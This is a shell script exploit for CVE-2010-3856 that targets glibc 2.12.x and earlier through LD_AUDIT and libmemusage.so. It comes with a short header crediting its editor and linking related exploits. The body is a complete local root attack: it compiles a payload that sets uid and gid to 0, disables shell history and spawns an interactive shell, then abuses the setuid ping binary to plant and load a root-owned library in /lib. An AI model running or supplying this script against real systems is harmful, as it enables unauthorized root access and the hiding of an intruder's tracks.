glibc <= 2.12.x LD_AUDIT libmemusage.so local root exploit

#!/bin/sh
#
# [+] Linux GNU/libc <= 2.12.x LD_AUDIT libmemusage.so local root exploit
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#  Edited by Todor Donev
#  This is another exploit for CVE-2010-3856
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# Another exploits:
# http://www.0xdeadbeef.info/exploits/raptor_ldaudit
# http://www.0xdeadbeef.info/exploits/raptor_ldaudit2
# http://www.exploit-db.com/exploits/18105/
# http://seclists.org/fulldisclosure/2010/Oct/257
# http://seclists.org/bugtraq/2010/Oct/200
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echo "[+] Setting umask to 0 so we have world writable files."
umask 0
echo "[+] Preparing binary payload.."
cat > /tmp/payload.c <<_EOF
void __attribute__((constructor)) init()
{
    unlink("/lib/.ploit.so");
    setuid(0);
    setgid(0);
    setenv("HISTFILE", "/dev/null", 1);
    execl("/bin/sh", "/bin/sh", "-i", 0);
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
echo "[+] Writing root owned world readable file in /lib"
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/.ploit.so" ping 2>/dev/null
echo "[+] Filling the lib file with lib contents."
cat /tmp/exploit > /lib/.ploit.so
rm /tmp/payload.c /tmp/exploit
echo "[+] Executing payload.."
LD_AUDIT=".ploit.so" ping